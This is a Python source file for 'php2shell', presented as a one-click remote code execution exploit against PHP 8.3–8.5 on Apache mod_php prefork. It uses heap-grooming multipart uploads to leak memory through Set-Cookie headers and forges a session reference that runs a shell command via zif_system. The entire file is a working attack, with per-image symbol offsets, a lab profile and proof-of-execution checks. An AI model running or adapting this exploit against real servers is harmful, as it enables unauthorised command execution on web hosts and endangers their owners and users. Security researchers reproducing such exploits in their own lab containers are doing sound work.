exploit.py

#!/usr/bin/env python3
"""
php2shell - one-click remote exploit for PHP 8.x / mod_php, prefork.

Verified on the official images php:8.4.26-apache and php:8.5.11-apache
(official profile) and php:8.3.35-apache (official83 profile); the official
image is currently Debian 13 (trixie). libphp symbol offsets are auto-derived
per image, and on a localhost container the right chunk-relative htdata offset
is picked from the detected PHP minor version, so one command fits every
version.
Lab build (Apache 2.4.68, minimal PHP): use --profile lab.

Chain (all attacker traffic is plain HTTP):
  stage 0  HTTP worker rotation
  stage 1  Set-Cookie heap leak        -> Zend MM chunk base
  stage 2  Set-Cookie libphp leak      -> libphp base (ZVAL_PTR_DTOR)
  stage 3  upload_progress fake-ref    -> pDestructor = zif_system

Requirements on the target (the shipped docker/ setup matches these settings):
  display_errors=1, memory_limit=8M, max_input_vars=1000,
  session.use_cookies=1, session.use_strict_mode=0,
  session.upload_progress.enabled=1, single-worker prefork.

Usage:
  python3 exploit.py -u http://127.0.0.1:8088/index.php
  python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/out/p1' --proof-file out/p1
  python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'id>/tmp/p1' --proof-file /tmp/p1

The command is embedded in a 167-byte live zend_string; the maximum command
length for this payload layout is 14 bytes.  For a longer command, chain it
through a short shell trigger, e.g. `sh</out/c` (8 bytes).
"""

from __future__ import annotations

import argparse
import os
import re
import socket
import ssl
import struct
import subprocess
import threading
import sys
import time
import urllib.parse
from collections import Counter
from dataclasses import dataclass

MAX_CMD = 14                # 167-byte carrier - 0x98 header - NUL
SID = b"attacksessionid0001"


@dataclass(frozen=True)
class Profile:
    """Every version-specific offset and heap-grooming constant in one place.

    ``zif_offset`` / ``dtor_offset`` are libphp.so symbol offsets and
    ``htdata_offset`` is the Zend MM chunk-relative offset of the live
    167-byte string that carries the fake HashTable.  All three are relative
    to a module/chunk base, so they do not depend on ASLR; rebuilds shift
    them.  On a localhost docker target the libphp offsets are auto-derived by
    docker/offsets.py and transparently override the baked-in values here, so
    the defaults only matter for a remote target of the same build.  The
    ``stage*`` fields groom the heap and differ per build.
    """
    name: str
    zif_offset: int          # zif_system
    dtor_offset: int         # ZVAL_PTR_DTOR (zval_ptr_dtor)
    htdata_offset: int       # live 167-byte string used as fake HashTable
    stage1_n: int            # stage 1 filler field count
    stage2_t: int            # stage 2 target array index
    stage2_v: int            # stage 2 element value length
    stage3_pads: tuple       # stage 3 (name_len, val_len) pads pinning R0
    stage3_carrier: bool     # stage 3 uses the 15B bin-40 carrier reoccupation


PROFILES: dict[str, "Profile"] = {
    # Official php:8.4-apache / php:8.5-apache images (currently Debian 13
    # trixie, Apache 2.4.x).  Verified 3/3 on 8.4.26 and 8.5.11 with identical
    # heap grooming; the two minors differ only in their libphp symbol
    # offsets, which are auto-derived at runtime, so no manual edit is needed.
    "official": Profile(
        name="official",
        zif_offset=0x465370,      # measured on 8.4.26
        dtor_offset=0x65EB60,     # measured on 8.4.26
        htdata_offset=0x690D8,
        stage1_n=841,
        stage2_t=406,
        stage2_v=16,
        stage3_pads=((31, 31),) * 6,
        stage3_carrier=True,
    ),
    # Official php:8.3-apache image (currently Debian 13 trixie).  Same
    # grooming as official; the live 167-byte carrier lands one page higher,
    # so htdata differs by 0x1000.  Verified 8/8 one-shot on 8.3.35 once the
    # carrier's Set-Cookie-clobber guard was applied here too (see stage3).
    # On a localhost container this profile's htdata is selected automatically
    # from the detected PHP version.
    "official83": Profile(
        name="official83",
        zif_offset=0x3AC080,      # measured on 8.3.35
        dtor_offset=0x49EC50,     # measured on 8.3.35
        htdata_offset=0x6A0D8,
        stage1_n=841,
        stage2_t=406,
        stage2_v=16,
        stage3_pads=((31, 31),) * 6,
        stage3_carrier=True,
    ),
    # Original self-built lab (PHP 8.4.26, Apache 2.4.68, minimal build).
    "lab": Profile(
        name="lab",
        zif_offset=0x43A870,
        dtor_offset=0x613C50,
        htdata_offset=0x6E0D8,
        stage1_n=892,
        stage2_t=443,
        stage2_v=1,
        stage3_pads=((8, 7),) + ((7, 7),) * 5,
        stage3_carrier=False,
    ),
}
DEFAULT_PROFILE = "official"
DEFAULT_CMD = "id>/out/p1"
_HERE = os.path.dirname(os.path.abspath(__file__))
DEFAULT_PROOF = os.path.join(_HERE, "out", "p1")
DEFAULT_OFFSETS = os.path.join(_HERE, "out", "offsets.env")


def build_multipart(parts, boundary: bytes) -> bytes:
    out = bytearray()
    for p in parts:
        name = p["name"].encode()
        out += b"--" + boundary + b"\r\n"
        out += b'Content-Disposition: form-data; name="' + name + b'"'
        if p.get("filename") is not None:
            out += b'; filename="' + p["filename"].encode() + b'"'
            out += b"\r\nContent-Type: application/octet-stream"
        out += b"\r\n\r\n" + p["data"] + b"\r\n"
    out += b"--" + boundary + b"--\r\n"
    return bytes(out)


def read_offsets_file(path: str) -> dict[str, int]:
    """Read ZIF_OFFSET=0x.. / DTOR_OFFSET=0x.. written by docker/offsets.py."""
    vals: dict[str, int] = {}
    if not path:
        return vals
    try:
        with open(path, "r", encoding="utf-8") as f:
            for line in f:
                line = line.strip()
                if not line or line.startswith("#") or "=" not in line:
                    continue
                key, val = line.split("=", 1)
                vals[key.strip()] = int(val.strip(), 0)
    except (OSError, ValueError):
        pass
    return vals


def detect_php_minor(container: str) -> "int | None":
    """Return the PHP 8.x minor version of a localhost container, else None.

    Used only to pick the right chunk-relative htdata offset automatically:
    8.3 lands the live carrier one page higher than 8.4/8.5.
    """
    try:
        out = subprocess.run(
            ["docker", "exec", container, "php", "-r",
             "echo PHP_MAJOR_VERSION, '.', PHP_MINOR_VERSION;"],
            check=True, timeout=30,
            stdout=subprocess.PIPE, stderr=subprocess.DEVNULL,
        ).stdout.decode("ascii", "replace").strip()
        major, _, minor = out.partition(".")
        if major == "8":
            return int(minor)
    except (OSError, subprocess.SubprocessError, ValueError):
        pass
    return None


class Target:
    def __init__(self, url: str, timeout: float = 30.0, verbose: bool = True):
        u = urllib.parse.urlsplit(url)
        if u.scheme not in ("http", "https"):
            raise ValueError("URL must be http:// or https://")
        self.https = u.scheme == "https"
        self.host = u.hostname or "127.0.0.1"
        self.port = u.port or (443 if self.https else 80)
        self.path = u.path or "/"
        self.timeout = timeout
        self.verbose = verbose

    def log(self, msg: str) -> None:
        if self.verbose:
            print(msg, flush=True)

    def _connect(self):
        last = None
        for _ in range(10):
            try:
                s = socket.create_connection((self.host, self.port), timeout=self.timeout)
                if self.https:
                    ctx = ssl.create_default_context()
                    s = ctx.wrap_socket(s, server_hostname=self.host)
                try:
                    s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
                except OSError:
                    pass
                return s
            except OSError as e:
                last = e
                time.sleep(0.3)
        raise last  # type: ignore[misc]

    def post(self, body: bytes, boundary: bytes, read_cap: int = 1 << 20,
             timeout: float | None = None,
             extra_headers: dict[str, str] | None = None) -> bytes:
        extra = ""
        for k, v in (extra_headers or {}).items():
            extra += f"{k}: {v}\r\n"
        hdr = (
            f"POST {self.path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            f"{extra}"
            f"Content-Type: multipart/form-data; boundary={boundary.decode()}\r\n"
            f"Content-Length: {len(body)}\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode()
        s = self._connect()
        s.settimeout(timeout or self.timeout)

        # Read concurrently with the upload: some exploit requests make the
        # worker abort right after sending Set-Cookie, and a recv() that starts
        # after the RST loses the already-buffered response.
        data = bytearray()

        def _reader() -> None:
            try:
                while len(data) < read_cap:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    data.extend(chunk)
            except OSError:
                pass

        reader = threading.Thread(target=_reader, daemon=True)
        reader.start()
        try:
            try:
                s.sendall(hdr)
                mv = memoryview(body)
                for off in range(0, len(body), 262144):
                    s.sendall(mv[off:off + 262144])
            except OSError:
                pass  # the worker may abort while the body is still in flight
            reader.join(timeout=(timeout or self.timeout) + 1.0)
            return bytes(data)
        finally:
            s.close()

    def get(self, path: str, read_cap: int = 1 << 20) -> tuple[int, bytes]:
        hdr = (
            f"GET {path} HTTP/1.1\r\n"
            f"Host: {self.host}:{self.port}\r\n"
            "Connection: close\r\n"
            "\r\n"
        ).encode()
        s = self._connect()
        s.settimeout(self.timeout)
        try:
            s.sendall(hdr)
            data = bytearray()
            try:
                while len(data) < read_cap:
                    chunk = s.recv(65536)
                    if not chunk:
                        break
                    data += chunk
            except OSError:
                pass
        finally:
            s.close()
        head, _, body = bytes(data).partition(b"\r\n\r\n")
        m = re.match(rb"HTTP/1\.[01] (\d{3})", head)
        return (int(m.group(1)) if m else 0), body


def parse_cookie(resp: bytes) -> bytes:
    m = re.search(rb"Set-Cookie: PHPSESSID=([^\r\n]*?); path=/", resp)
    if not m:
        return b""
    return urllib.parse.unquote_to_bytes(m.group(1).decode("latin1"))


def chunk_base_from_cookie(raw: bytes) -> int:
    """Stage 1: 2MB-aligned mode of the heap pointers in the decoded cookie."""
    if len(raw) < 1000:
        return 0
    c: Counter[int] = Counter()
    for i in range(len(raw) - 8):
        v = int.from_bytes(raw[i:i + 8], "little")
        if 0x7F0000000000 <= v < 0x800000000000:
            c[v & ~0x1FFFFF] += 1
    if not c:
        return 0
    base, count = c.most_common(1)[0]
    return base if count >= 8 else 0


def libphp_base_from_cookie(raw: bytes, dtor_offset: int) -> int:
    """Stage 2: Set-Cookie data starts at PS(id)+0x18 = nNextFreeElement|pDestructor.

    The page-aligned check is 4KB, not 2MB: the lab build happened to map
    libphp at a 2MB boundary, but the official php:8.4.26-apache image maps it
    at a 4KB boundary (e.g. base 0x...acdb000).
    """
    if len(raw) < 16:
        return 0
    p = int.from_bytes(raw[8:16], "little")
    if not (0x7F0000000000 <= p < 0x800000000000):
        return 0
    if p & 0xFFF != dtor_offset & 0xFFF:
        return 0
    base = p - dtor_offset
    return base if base & 0xFFF == 0 else 0


class Exploit:
    def __init__(self, target: Target, cmd: str, profile: Profile,
                 zif_offset: int, dtor_offset: int, htdata_offset: int,
                 huge_mb: int = 12, verbose: bool = True):
        self.t = target
        self.cmd = cmd.encode()
        self.zif_offset = zif_offset
        self.dtor_offset = dtor_offset
        self.htdata_offset = htdata_offset
        self.huge_mb = huge_mb
        self.verbose = verbose
        # Heap-grooming calibration comes straight from the selected profile;
        # the libphp/chunk offsets above may have been overridden by an
        # offsets file or the CLI, so they are passed in separately.
        self.profile = profile.name
        self.stage1_n = profile.stage1_n
        self.stage2_t = profile.stage2_t
        self.stage2_v = profile.stage2_v
        self.stage3_pads = list(profile.stage3_pads)
        self.stage3_carrier = profile.stage3_carrier

    # ---------- request primitives (shapes match tools/*.py) ----------

    def _big_field(self) -> dict:
        return {"name": "big", "data": b"B" * (self.huge_mb * 1024 * 1024)}

    def _file_part(self) -> dict:
        return {"name": "f", "filename": "a.txt", "data": b"A" * 64}

    def rotate(self) -> None:
        """Abort the current worker over HTTP; prefork forks a fresh one."""
        self.t.log("[*] rotating worker over HTTP")
        parts = [{"name": f"f{i:04d}"[:5], "data": b"V" * 3000} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.3)
        # Session-initializing B with no file part: pre-RINIT cleanup walks the
        # corrupted heap and the child aborts.
        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        self.t.post(build_multipart(parts, b"BNDRY12345"), b"BNDRY12345",
                    read_cap=65536, timeout=20.0)
        time.sleep(0.5)

    def stage1(self) -> int:
        """Leak the Zend MM chunk base."""
        parts = [{"name": f"p{i:04d}", "data": b"x"} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(self.stage1_n):
            val = (f"v{i:04d}" + "x" * 44)[:48]
            parts.append({"name": str(1000 + i), "data": val.encode()})
        forge = bytearray(b"A" * 79)
        struct.pack_into("<Q", forge, 0x10, 0x1000)   # forged zend_string len
        forge[0x18] = ord("L")
        parts.append({"name": "1999", "data": bytes(forge)})

        resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=9 << 20)
        return chunk_base_from_cookie(parse_cookie(resp))

    def stage2(self) -> int:
        """Leak libphp base through a 56-byte HashTable page."""
        parts = [{"name": f"f{i:04d}"[:5], "data": b"x" * 39} for i in range(1001)]
        parts += [
            {"name": "PHPSESSID", "data": b"\x00"},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
            self._file_part(),
            self._big_field(),
        ]
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout))
        time.sleep(0.2)

        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        for i in range(983):
            cnt = 16 if i == self.stage2_t else 1
            for j in range(cnt):
                parts.append({"name": f"a{i:04d}[{j}]", "data": b"x" * self.stage2_v})

        resp = self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                           read_cap=1 << 20)
        return libphp_base_from_cookie(parse_cookie(resp), self.dtor_offset)

    def _fake_payload(self, htdata: int, zif: int) -> tuple[bytes, bytes]:
        cmd = self.cmd
        if len(cmd) > MAX_CMD:
            raise ValueError(
                f"command is {len(cmd)} bytes; the 167-byte carrier allows at most "
                f"{MAX_CMD} (e.g. use 'sh</out/c')"
            )
        ht = bytearray(b"\x00" * 167)
        # fake HashTable
        struct.pack_into("<II", ht, 0x00, 1, 7)                 # gc: rc=1, IS_ARRAY
        struct.pack_into("<II", ht, 0x08, 0x10, 0xFFFFFFF8)     # flags, nTableMask
        struct.pack_into("<Q", ht, 0x10, htdata + 0x20)         # arData
        struct.pack_into("<II", ht, 0x18, 1, 1)                 # nNumUsed/OfElements
        struct.pack_into("<II", ht, 0x20, 8, 0)                 # nTableSize/pointer
        struct.pack_into("<Q", ht, 0x28, 0)                     # nNextFreeElement
        struct.pack_into("<Q", ht, 0x30, zif)                   # pDestructor
        # fake execute_data at E = data+0x20
        E = 0x20
        struct.pack_into("<Q", ht, E + 0x00, 0)                 # opline
        struct.pack_into("<Q", ht, E + 0x08, 0)                 # call
        struct.pack_into("<Q", ht, E + 0x10, zif)               # return_value
        struct.pack_into("<Q", ht, E + 0x18, 0)                 # func
        struct.pack_into("<Q", ht, E + 0x20, 0)                 # This.value
        struct.pack_into("<I", ht, E + 0x28, 0)                 # This.u1.type_info
        struct.pack_into("<I", ht, E + 0x2C, 1)                 # num_args = 1
        struct.pack_into("<Q", ht, E + 0x30, 0)                 # prev_execute_data
        struct.pack_into("<Q", ht, E + 0x38, 0)                 # symbol_table
        struct.pack_into("<I", ht, E + 0x40, 0)                 # call_info
        struct.pack_into("<Q", ht, E + 0x50, htdata + 0x80)     # arg1 value
        struct.pack_into("<I", ht, E + 0x58, 6)                 # arg1 IS_STRING
        # fake zend_string at data+0x80
        struct.pack_into("<II", ht, 0x80, 1, 0x106)             # gc rc=1, IS_STRING
        struct.pack_into("<Q", ht, 0x88, 0)                     # h
        struct.pack_into("<Q", ht, 0x90, len(cmd))              # len
        ht[0x98:0x98 + len(cmd)] = cmd
        ht[0x98 + len(cmd)] = 0

        # fake reference (55 bytes) placed at R0-0x10
        ref = bytearray(b"X" * 55)
        struct.pack_into("<II", ref, 0x10, 1, 10)               # IS_REFERENCE
        struct.pack_into("<Q", ref, 0x18, htdata)               # val.value
        struct.pack_into("<Q", ref, 0x20, 0x307)                # IS_ARRAY_EX
        struct.pack_into("<Q", ref, 0x28, 0)                    # sources
        return bytes(ht), bytes(ref)

    def stage3(self, htdata: int, zif: int) -> None:
        """Write the fake reference over PS(http_session_vars) and execute."""
        parts = [
            {"name": "PHPSESSID", "data": b"a" * 19},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"p" * 3},
        ]
        specs = self.stage3_pads
        for i, (nl, vl) in enumerate(specs):
            name = (f"p{i:0{nl - 1}d}" if nl > 0 else "")[:nl]
            parts.append({"name": name, "data": b"V" * vl})
        parts += [self._file_part(), self._big_field()]
        extra = None
        if self.stage3_carrier:
            # Keep PS(id) valid: php_session_initialize then leaves
            # send_cookie=0, so B's init does not allocate the Set-Cookie
            # header at R0+16 (which would clobber val.type).  This belongs to
            # the carrier reoccupation technique, so it applies to every
            # carrier profile (official and official83), not a single name.
            extra = {"Cookie": "PHPSESSID=" + "a" * 32}
        self.t.post(build_multipart(parts, b"S" * 17), b"S" * 17,
                    read_cap=1 << 20, timeout=max(90.0, self.t.timeout),
                    extra_headers=extra)
        time.sleep(0.3)

        ht, ref = self._fake_payload(htdata, zif)
        parts = [
            {"name": "PHPSESSID", "data": SID},
            {"name": "PHP_SESSION_UPLOAD_PROGRESS", "data": b"pwn"},
        ]
        if self.stage3_carrier:
            # The still-live reference (rc=2).              A 15-byte
            # bin-40 zend_string lands its chars exactly at
            # PS(http_session_vars): keep gc (rc=1, IS_REFERENCE), rewrite the
            # low 7 bytes of val.value to the fake HashTable, and let the
            # high byte stay 0x00 (canonical 0x00007f... pointer).
            carrier = struct.pack("<II", 1, 0x1A) + struct.pack("<Q", htdata)[:7]
            for i in range(2):
                parts.append({"name": f"f{i:02d}", "data": b"F" * 15})
            parts.append({"name": "g00", "data": carrier})
            for i in range(15):
                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
        else:
            for i in range(15):
                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
            for i in range(2):
                parts.append({"name": f"f{i:02d}", "data": ref})
        self.t.post(build_multipart(parts, b"B" * 10), b"B" * 10,
                    read_cap=65536, timeout=30.0)


def main() -> int:
    ap = argparse.ArgumentParser(
        description="php2shell one-click exploit (official php:8.4.26-apache / lab)",
        formatter_class=argparse.ArgumentDefaultsHelpFormatter,
    )
    ap.add_argument("-u", "--url", required=True,
                    help="target PHP page, e.g. http://127.0.0.1:8088/index.php")
    ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
                    help=f"command to execute (max {MAX_CMD} bytes)")
    ap.add_argument("--proof-file", default=DEFAULT_PROOF,
                    help="read this local file after exploitation; '' disables")
    ap.add_argument("--fetch", default="",
                    help="GET this path afterwards (for commands writing to webroot)")
    ap.add_argument("--zif-offset", type=lambda x: int(x, 0), default=None,
                    help="offset of zif_system in libphp.so (default: offsets file or profile value)")
    ap.add_argument("--dtor-offset", type=lambda x: int(x, 0), default=None,
                    help="offset of ZVAL_PTR_DTOR in libphp.so (default: offsets file or profile value)")
    ap.add_argument("--profile", choices=tuple(PROFILES), default=DEFAULT_PROFILE,
                    help="target build profile: official (Docker image, default) or lab (self-built Apache)")
    ap.add_argument("--htdata-offset", type=lambda x: int(x, 0), default=None,
                    help="chunk-relative offset of the 167-byte live string")
    ap.add_argument("--offsets-file", default=DEFAULT_OFFSETS,
                    help="read libphp offsets from this file ('' to disable)")
    ap.add_argument("--docker-container", default="php2shell-target",
                    help="container used to auto-derive offsets on localhost")
    ap.add_argument("--no-auto-offsets", action="store_true",
                    help="never run docker/offsets.py automatically")
    ap.add_argument("--huge-mb", type=int, default=12,
                    help="size of the OOM field; must exceed memory_limit")
    ap.add_argument("--timeout", type=float, default=30.0, help="per-request timeout")
    ap.add_argument("--no-pre-rotate", action="store_true",
                    help="skip the initial worker rotation")
    ap.add_argument("--no-retry-rotate", action="store_true",
                    help="do not rotate between failed stage attempts")
    ap.add_argument("--retries", type=int, default=3,
                    help="attempts per leak stage; stage 3 uses retries+2")
    ap.add_argument("-q", "--quiet", action="store_true")
    args = ap.parse_args()

    if len(args.cmd.encode()) > MAX_CMD:
        ap.error(f"--cmd is limited to {MAX_CMD} bytes by the 167-byte carrier")

    prof = PROFILES[args.profile]
    user_htdata = args.htdata_offset          # None unless --htdata-offset given

    local_offsets = read_offsets_file(args.offsets_file)
    t = Target(args.url, timeout=args.timeout, verbose=not args.quiet)
    is_localhost = t.host in ("127.0.0.1", "localhost", "::1")

    # A local docker target may be built from a different image/toolchain than
    # the lab, and the cached offsets file goes stale the moment the image
    # changes (e.g. multi-version testing or an upgrade). Derivation is a
    # sub-second docker cp + ELF parse, so always refresh it on localhost
    # rather than trusting a possibly-stale cache.
    if (not args.no_auto_offsets and args.offsets_file and is_localhost):
        helper = os.path.join(_HERE, "docker", "offsets.py")
        if os.path.exists(helper):
            if not args.quiet:
                print("[*] reading libphp symbols from "
                      f"container {args.docker_container}", flush=True)
            try:
                subprocess.run(
                    [sys.executable, helper, args.docker_container, args.offsets_file],
                    check=False, timeout=60,
                    stdout=None if not args.quiet else subprocess.DEVNULL,
                    stderr=None if not args.quiet else subprocess.DEVNULL,
                )
            except (OSError, subprocess.SubprocessError):
                pass
            local_offsets = read_offsets_file(args.offsets_file)

    # On a localhost container, read the PHP minor version once: 8.3 lands the
    # live carrier one page higher than 8.4/8.5 (pick its htdata so one command
    # fits all three), and versions below 8.3 are known not to be exploitable
    # by this chain -- warn instead of failing opaquely at stage 1.
    minor = (detect_php_minor(args.docker_container)
             if not args.no_auto_offsets and is_localhost else None)
    if minor is not None and minor < 3:
        t.log(f"[!] target is PHP 8.{minor}; this chain's stage-1 leak does not "
              "engage below 8.3 (see docs/MULTIVERSION.md). Continuing anyway.")
    if (user_htdata is None and args.profile == DEFAULT_PROFILE and minor == 3):
        prof = PROFILES["official83"]
        t.log("[*] detected PHP 8.3 on localhost; using official83 htdata")
    if args.htdata_offset is None:
        args.htdata_offset = prof.htdata_offset

    if args.zif_offset is None:
        args.zif_offset = local_offsets.get("ZIF_OFFSET", prof.zif_offset)
    if args.dtor_offset is None:
        args.dtor_offset = local_offsets.get("DTOR_OFFSET", prof.dtor_offset)

    ex = Exploit(t, args.cmd, prof, zif_offset=args.zif_offset,
                 dtor_offset=args.dtor_offset, htdata_offset=args.htdata_offset,
                 huge_mb=args.huge_mb, verbose=not args.quiet)
    t.log(f"[*] target {args.url} (cmd={args.cmd!r})")
    if local_offsets:
        t.log(f"[*] offsets loaded from {args.offsets_file}")
    t.log(f"[*] offsets: zif=0x{args.zif_offset:x} dtor=0x{args.dtor_offset:x} "
          f"htdata=0x{args.htdata_offset:x}")

    def rotate_after_failure() -> None:
        if not args.no_retry_rotate:
            ex.rotate()

    if not args.no_pre_rotate:
        ex.rotate()

    # ---- stage 1 ----
    chunk = 0
    for attempt in range(1, args.retries + 1):
        t.log(f"[*] stage 1: heap leak (attempt {attempt}/{args.retries})")
        chunk = ex.stage1()
        if chunk:
            t.log(f"[+] chunk base = 0x{chunk:x}")
            break
        t.log("[-] heap leak missed")
        rotate_after_failure()
    if not chunk:
        print("HEAP_LEAK_FAILED", file=sys.stderr)
        return 1
    ex.rotate()  # each stage needs a fresh worker

    # ---- stage 2 ----
    libphp = 0
    for attempt in range(1, args.retries + 1):
        t.log(f"[*] stage 2: libphp leak (attempt {attempt}/{args.retries})")
        libphp = ex.stage2()
        if libphp:
            t.log(f"[+] libphp base = 0x{libphp:x}")
            break
        t.log("[-] libphp leak missed")
        rotate_after_failure()
    if not libphp:
        print("LIBPHP_LEAK_FAILED", file=sys.stderr)
        return 1
    ex.rotate()

    # ---- stage 3 ----
    htdata = chunk + args.htdata_offset
    zif = libphp + args.zif_offset
    t.log(f"[*] stage 3: HTDATA=0x{htdata:x} ZIF=0x{zif:x}")
    proof = ""
    if args.proof_file:
        try:
            if os.path.exists(args.proof_file):
                os.unlink(args.proof_file)
        except OSError:
            pass

    for attempt in range(1, args.retries + 3):
        try:
            ex.stage3(htdata, zif)
        except OSError as e:
            t.log(f"[-] request error: {e}")
        time.sleep(0.8)

        if args.proof_file:
            try:
                if os.path.exists(args.proof_file):
                    with open(args.proof_file, "rb") as f:
                        proof = f.read().decode("latin1").strip()
            except OSError:
                pass
        if not proof and args.fetch:
            status, body = t.get(args.fetch)
            if status == 200:
                proof = body.decode("latin1").strip()
        if proof:
            t.log(f"[+] W3 attempt {attempt}")
            print(f"PROOF: {proof}")
            return 0
        t.log(f"[-] stage 3 attempt {attempt} no proof yet")
        rotate_after_failure()

    print("EXPLOIT_FAILED (no proof; the command may still have executed blind)",
          file=sys.stderr)
    return 1


if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        sys.exit(130)